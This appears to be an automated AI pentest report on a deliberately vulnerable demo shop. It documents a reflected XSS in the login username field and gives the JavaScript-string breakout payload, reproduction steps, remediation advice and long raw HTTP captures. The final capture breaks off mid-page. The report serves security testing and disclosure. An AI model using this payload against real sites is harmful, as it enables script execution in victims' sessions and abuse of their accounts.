AttackerView

ginandjuice.shop

Pentest Report · October 12, 2026 09:01 UTC · Run sample-session · Completed

This report is the result of automated AI testing; human review is not included.

Findings are listed below. What was investigated is listed below.

13Questions investigated
13Questions asked
0Changes made

Findings (9)

LOW

Reflected XSS in the login username field (POST /login)

Verified

Assessment details

The recorded test demonstrates the finding on this target.

Severity (CVSS)

2.1 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Assessed for this target

Reflected XSS reachable by an unauthenticated attacker (PR:N) who must entice a victim to submit the crafted login form (UI:A). No impact to the server itself; the demonstrated effect is script execution in the victim's browser session (subsequent system), so SC:L/SI:L are set while the vulnerable system's own VC/VI/VA remain N.

Explanation

The POST /login handler takes the username parameter and reflects it verbatim into a JavaScript string literal inside an inline <script> block on the step-1 response:

<script>
    var username = '<username>';
    document.getElementById('usernameInput').value = username;
</script>

Only < and > are HTML-entity-encoded; the single quote ('), double quote and backslash are not escaped for the JavaScript string context. Because the value sits inside <script>, HTML entity encoding is irrelevant to the JavaScript parser, so a username of '-alert('av_73c492a6e60d81ba['+7*7+']')-' produces var username = ''-alert('av_73c492a6e60d81ba['+7*7+']')-'';, which executes on page load. The weakness lives at the username reflection point of the login flow.

Prerequisites

Confirmed: the endpoint accepts unauthenticated POST /login requests and reflects username into the inline script. Unknown: whether a cross-site page can drive the POST (the login form carries a hidden per-form csrf field, so a cross-site auto-submit would need that token — not tested here). No authentication is required to trigger the reflection.

Reproduction steps

  1. Fresh start: load https://ginandjuice.shop/login in a browser (no session needed); note the hidden csrf field and the username text input.
  2. Set the username input to '-alert('av_73c492a6e60d81ba['+7*7+']')-' (the marker is this work's nonce and 7*7 must be computed by the target's JavaScript, not pre-computed).
  3. Submit the form (POST /login, application/x-www-form-urlencoded, body csrf=<token>&username=...).
  4. Expected result: the step-1 response embeds var username = ''-alert('av_73c492a6e60d81ba['+7*7+']')-''; and the browser executes it, raising alert('av_73c492a6e60d81ba[49]').
  5. Control: submit username=carlos; the response contains var username = 'carlos'; with no dialog.
  6. Cleanup: no server-side state is created by the reflection; discard the browser session.

Evidence

Browser run against POST /login [r47] returned the step-1 page whose inline script is:

var username = ''-alert('av_73c492a6e60d81ba['+7*7+']')-'';
document.getElementById('usernameInput').value = username;

and the browser reported the executed dialog [c1]:

dialogs: [{"type":"alert","message":"av_73c492a6e60d81ba[49]","url":"https://ginandjuice.shop/login"}]

The marker av_73c492a6e60d81ba[49] appears only in the rendered dialog and response body, never in the submitted request (which carries the literal 7*7). A literal control submission of username=carlos [r12] produced var username = 'carlos'; with no dialog. Earlier bash probes [r26][r28][r30] showed the raw reflection: x'-alert(1)-'y was echoed as var username = 'x'-alert(1)-'y'; while </> were entity-encoded, confirming the quote was not escaped.

Recorded capture references

  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a f8b0b41e-9533-40c9-9cb9-a585d8e9cdaf
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a bbbcb92e-3bce-4eb5-abd7-f9de6f621c08
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a c19809c4-5970-412d-b997-c88769e5a650
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 0b87857f-b1d9-45df-a64a-edd6b3f8facb
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a fe6cf389-599c-4d08-906d-db1cb0414303

Impact

Demonstrated: arbitrary JavaScript execution in the origin https://ginandjuice.shop for any user who submits the crafted login form. Because the session cookie is HttpOnly; SameSite=None, the script cannot read the cookie directly, but it can issue authenticated same-origin requests with the victim's session and read their responses — viewing orders, changing cart/account state, redeeming coupons — and exfiltrate any non-HttpOnly page data. Potential: an attacker able to deliver the POST gains script execution in each victim's session. Server-side data was not modified during this test.

Remediation

Do not build JavaScript from user input. Remove the inline var username = '...' reflection and read the value from the DOM (document.getElementById('usernameInput').value) or pass it via JSON.stringify into a data attribute. If the value must be embedded, use a JavaScript-string-context encoder (escape \, ', ", </, U+2028/U+2029) and add a strict Content-Security-Policy without unsafe-inline. After the fix, re-running the PoC should render the payload inert (e.g. var username = '\u0027-alert(...)';) and raise no dialog.

Evidence of record

  • Supporting · r12 · f8b0b41e-9533-40c9-9cb9-a585d8e9cdaf
    Request
    POST https://ginandjuice.shop/login
    user-agent: curl/8.5.0
    accept: */*
    cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED]
    content-length: 53
    content-type: application/x-www-form-urlencoded
    
    csrf=%5BREDACTED%5D&username=carlos
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:02:41 GMT
    content-type: text/html; charset=utf-8
    content-length: 7843
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:41 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:41 GMT; Path=/; SameSite=None; Secure
    x-backend: a3b661f1-727e-4c59-b93e-9db836e9fc88
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Login - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="login">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Login</h1>
                        <section>
                            <form class=login-form method=POST action="/login">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username">
                                <script>
                                    var username = 'carlos';
                                    document.getElementById('usernameInput').value = username;
                                </script>
                                <span><b>Password</b> hunter2</span>
                                <input tabindex=0 placeholder="Password" required type=password name="password" autofocus>
                                <button class=button type=submit> Log in </button>
                            </form>
                        </section>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • Supporting · r26 · bbbcb92e-3bce-4eb5-abd7-f9de6f621c08
    Request
    POST https://ginandjuice.shop/login
    user-agent: curl/8.5.0
    accept: */*
    cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED]
    content-length: 63
    content-type: application/x-www-form-urlencoded
    
    csrf=%5BREDACTED%5D&username=x%27%22%3Cb%3Ezz
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:02:51 GMT
    content-type: text/html; charset=utf-8
    content-length: 7851
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/; SameSite=None; Secure
    x-backend: c99cc9c7-9997-4247-90b0-cc6683d4c8c9
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Login - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="login">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Login</h1>
                        <section>
                            <form class=login-form method=POST action="/login">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username">
                                <script>
                                    var username = 'x'"&lt;b&gt;zz';
                                    document.getElementById('usernameInput').value = username;
                                </script>
                                <span><b>Password</b> hunter2</span>
                                <input tabindex=0 placeholder="Password" required type=password name="password" autofocus>
                                <button class=button type=submit> Log in </button>
                            </form>
                        </section>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • Supporting · r28 · c19809c4-5970-412d-b997-c88769e5a650
    Request
    POST https://ginandjuice.shop/login
    user-agent: curl/8.5.0
    accept: */*
    cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED]
    content-length: 69
    content-type: application/x-www-form-urlencoded
    
    csrf=%5BREDACTED%5D&username=x%27-alert%281%29-%27y
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:02:51 GMT
    content-type: text/html; charset=utf-8
    content-length: 7851
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/; SameSite=None; Secure
    x-backend: afe78951-5574-463e-9aac-b2da4a965957
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Login - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="login">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Login</h1>
                        <section>
                            <form class=login-form method=POST action="/login">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username">
                                <script>
                                    var username = 'x'-alert(1)-'y';
                                    document.getElementById('usernameInput').value = username;
                                </script>
                                <span><b>Password</b> hunter2</span>
                                <input tabindex=0 placeholder="Password" required type=password name="password" autofocus>
                                <button class=button type=submit> Log in </button>
                            </form>
                        </section>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • Supporting · r30 · 0b87857f-b1d9-45df-a64a-edd6b3f8facb
    Request
    POST https://ginandjuice.shop/login
    user-agent: curl/8.5.0
    accept: */*
    cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED]
    content-length: 56
    content-type: application/x-www-form-urlencoded
    
    csrf=%5BREDACTED%5D&username=carlos%27
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:02:51 GMT
    content-type: text/html; charset=utf-8
    content-length: 7844
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/; SameSite=None; Secure
    x-backend: 43e98f03-700e-4d12-841c-74aea6d448bb
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Login - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="login">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Login</h1>
                        <section>
                            <form class=login-form method=POST action="/login">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username">
                                <script>
                                    var username = 'carlos'';
                                    document.getElementById('usernameInput').value = username;
                                </script>
                                <span><b>Password</b> hunter2</span>
                                <input tabindex=0 placeholder="Password" required type=password name="password" autofocus>
                                <button class=button type=submit> Log in </button>
                            </form>
                        </section>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • Attack · r47 · fe6cf389-599c-4d08-906d-db1cb0414303
    Request
    POST https://ginandjuice.shop/login
    content-length: 112
    pragma: no-cache
    cache-control: no-cache
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    content-type: application/x-www-form-urlencoded
    origin: https://ginandjuice.shop
    upgrade-insecure-requests: 1
    user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
    accept-language: en-US
    sec-ch-ua: "Brave";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Linux"
    sec-fetch-site: same-origin
    sec-fetch-mode: navigate
    sec-fetch-user: ?1
    sec-fetch-dest: document
    referer: https://ginandjuice.shop/login
    accept-encoding: gzip, deflate, br, zstd
    cookie: session=[REDACTED]
    cookie: AWSALB=[REDACTED]
    cookie: AWSALBCORS=[REDACTED]
    priority: u=0, i
    
    csrf=%5BREDACTED%5D&username=%27-alert%28%27av_73c492a6e60d81ba%5B%27%2B7*7%2B%27%5D%27%29-%27
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:03:06 GMT
    content-type: text/html; charset=utf-8
    content-length: 1939
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:03:06 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:03:06 GMT; Path=/; SameSite=None; Secure
    x-backend: 1eca3576-4c65-4250-afce-a53f63c46997
    x-frame-options: SAMEORIGIN
    content-encoding: gzip
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Login - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="login">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Login</h1>
                        <section>
                            <form class=login-form method=POST action="/login">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
